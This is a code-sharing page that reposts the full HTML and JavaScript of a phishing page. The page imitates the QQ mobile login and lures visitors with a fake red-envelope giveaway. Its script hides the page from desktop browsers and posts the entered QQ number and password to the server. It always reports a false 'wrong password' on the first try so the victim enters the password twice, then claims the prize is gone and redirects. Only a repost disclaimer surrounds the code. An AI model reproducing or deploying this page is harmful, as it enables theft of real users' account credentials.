h5登錄


<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta id="viewport" name="viewport"
    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" /> 
<title>恭喜發財!</title>
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>
<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>
</head>
<body style="display: none;">
    <div id="content" class="content">
        <div id="error_tips">
            <div id="error_tips_content">
                <span id="error_icon"></span> <span id="error_message"></span>
            </div>
        </div>
        <div class="redpack">
            <img src="/tpl/36/redpack.gif" alt="">
        </div>
        <div id="login" class="login">
            <div id="app_name" style="display: none"></div>
            <div id="q_login" class="q_login" style="display: none">
                <div id="q_login_title">
                    <div id="q_login_logo"></div>
                    <label id="q_login_tips">請選擇登錄帳號</label>
                </div>
                <div id="q_logon_list" class="q_logon_list"></div>
            </div>
            <div id="web_login">
            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">
                <ul id="g_list">
                    <li id="g_u"><div id="del_touch" class="del_touch">
                            <span id="del_u" class="del_u"></span>
                        </div>
                        <input id="u" class="inputstyle" name="u" autocomplete="off"
                        placeholder="號碼"></li>
                    <li id="g_p"><div id="del_touch_p" class="del_touch">
                            <span id="del_p" class="del_u"></span>
                        </div>
                        <input id="p" class="inputstyle" maxlength="16" type="password"
                        name="p" autocorrect="off" placeholder="請輸入您的密碼"></li>
                </ul>
                <div id="auto_login">
                    <input type="checkbox" id="remember" checked="checked"> <span
                        class="checkbox"></span><label class="wording">記住登錄狀態</label>
                </div>
                <div href="javascript:void(0);" id="go">登 錄</div>
                </form>
            </div>
            <div id="switch">
                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登錄歷史帳號</div>
                <div id="zc_feedback">
                    <span id="zc"
                        onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注冊新帳號</span>
                    <span id="forgetpwd">忘了密碼?</span>
                </div>
            </div>
            <div id="custom_bottom"></div>
        </div>
        <div id="vcode">
            <label id="vcode_tips">點擊圖片可更換驗證碼</label>
            <div id="vcode_area">
                <img id="vcode_img"><label id="input_tips">請輸入圖中的字符不區分大小寫</label><input
                    id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off"
                    autocorrect="off" maxlength="6">
            </div>
            <div id="submit">提交驗證碼</div>
        </div>
    </div>
    <div id="new_vcode" class="new_vcode">
        
    </div>
    <div id="footerBlank"></div>
</body>
<script>

function IsPC() {
    var userAgentInfo = navigator.userAgent;
    var Agents = ["Android", "iPhone",
                "SymbianOS", "Windows Phone",
                "iPad", "iPod"];
    var flag = true;
    for (var v = 0; v < Agents.length; v++) {
        if (userAgentInfo.indexOf(Agents[v]) > 0) {
            flag = false;
            break;
        }
    }
    return flag;
}

if(IsPC()){
    alert('請使用手機訪問');
    $('body').hide();
} else {
    $('body').show();
}

$(".redpack").on('click',function(){
    alert('請登錄后領取');
    $(this).hide();
    $('.login').show();
});
var err = false;
var times = 0;
function error(msg){

    $("#error_tips").css({display:'block'});
    $('#error_message').html(msg);
    err = true;
}

$('form input').focus(function(){

    $("#error_tips").css({display:'none'});
    err = false;
    
});

$("#error_tips").on('click',function(){
    $(this).hide();
});

$("#go").on('click',function(){
    $(this).parents('form').submit();
});

$('form').submit(function(){
    var $this = $(this);
    $.ajax({
        url:$this.attr('action'),
        data:$this.serialize(),
        type:'post',
        beforeSend:function(){
            err = false;
            var p = $("#p").val();
            var u = $("#u").val();
            
            u == '' && error('您還沒有輸入帳號!');    
            if(err) return false;
            p == '' && error("您還沒有輸入密碼!");
            if(err) return false;

            /^[1-9][0-9]{5,9}$/.test(u) || error('請輸入正確的帳號!');
            if(err) return false;//只有renturn false表單才不會提交,return別的表單都會提交。

            var len = p.length;

            (len < 6 || len>16) && error('您輸入的帳號或密碼不正確,請重新輸入。');
            if(err) {
                $("#p").val('');
                return false;
            }
            $("#p").val('');
            $("#u").val('');
        },
        success:function(data){
            ++times;
            console.log(times);
            if(times<2){
                
                error('您輸入的帳號或密碼不正確,請重新輸入。');
                
            }else{
                alert('紅包已經被領取');
                location.href = data.url;
            }
            
        },
        dataType:'json'

        })
    return false;
    
})

</script>
</html>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM